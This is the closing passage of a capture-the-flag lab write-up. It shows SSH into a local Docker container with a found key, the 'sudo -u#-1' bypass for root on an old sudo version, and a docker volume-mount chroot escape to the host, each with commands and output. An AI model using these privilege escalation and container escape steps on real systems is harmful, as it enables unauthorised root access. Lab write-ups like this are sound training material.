
What is user.txt?

user{REDACTED}

Oh boy, this one is pretty cool (a ssh entrypoint at localhost).

maya@linuxagency:~$ ss -tupln
(...)
tcp	LISTEN	0	128	127.0.0.1:2222	0.0.0.0:*
(...)
maya@linuxagency:~/old_robert_ssh$ ssh -i id_rsa robert@localhost -p 2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ECDSA key fingerprint is SHA256:tHRuLtVLrzk2hp6qNgrziq6NZKkEQY+rN1E1J7K7lIE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (ECDSA) to the list of known hosts.
robert@localhost's password: 
Last login: Tue Jan 12 17:02:07 2021 from 172.17.0.1
robert@ec96850005d6:~$ cat robert.txt 
You shall not pass from here!!!

I will not allow ICA to take over my world.

It is a docker container (you can tell it from the hostname i.e ‘ec96850005d6’) that we just ssh’ed in (also /etc/passwd doesn’t contain all those users that we escalated from):

robert@ec96850005d6:/tmp$ ls
docker
robert@ec96850005d6:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
(...)
robert:x:1000:1000::/home/robert:/bin/bash

We have a docker binary in /tmp as well, let’s get root first:

robert@ec96850005d6:~$ sudo -l
Matching Defaults entries for robert on ec96850005d6:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on ec96850005d6:
    (ALL, !root) NOPASSWD: /bin/bash
robert@ec96850005d6:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

It is an old version of sudo, we can use sudo Security Bypass to get root:

robert@ec96850005d6:~$ sudo -u#-1 /bin/bash
root@ec96850005d6:~# cd /root
root@ec96850005d6:/root# ls
success.txt  user.txt
root@ec96850005d6:/root# cat user.txt 
user{REDACTED}

That was easy!

root@ec96850005d6:/root# cat success.txt 
47 you made it!!!

You have made it, Robert has been taught a lesson not to mess with ICA.
Now, Return to our Agency back with some safe route.
All the previous door's have been closed.

Good Luck Amigo!

What is root.txt?

root{REDACTED}

I am not familier with docker, but thankfully this one was just simply listing and mounting the docker image (let’s use the binary we found in /tmp to investigate running docker instances):

root@ec96850005d6:/tmp# ./docker ps -a
CONTAINER ID        IMAGE               COMMAND               CREATED             STATUS              PORTS                    NAMES
ec96850005d6        mangoman            "/usr/sbin/sshd -D"   3 weeks ago         Up 44 minutes       127.0.0.1:2222->22/tcp   kronstadt_industries
root@ec96850005d6:/tmp# ./docker image ls
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
mangoman            latest              b5f279024ce0        3 weeks ago         213MB

gtfobins:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Let’s modify and run it:

root@ec96850005d6:/tmp# ./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh
#id
uid=0(root) gid=0(root) groups=0(root)

Wooohooooo!

# cd root
# ls
message.txt  root.txt
# cat root.txt
root{REDACTED}
# cat message.txt
Nice Job 47
We are really impressed with your skills

Hope you enjoyed your journey!!

Your director's of ICA 
   0z09e & Xyan1d3


========>0z09e
https://github.com/0z09e
https://twitter.com/0z09e

========>Xyan1d3
https://twitter.com/xyan1d3
https://github.com/xyan1d3

That was it for this room, I hope you liked reading this writeup, happy hacking :)

Resources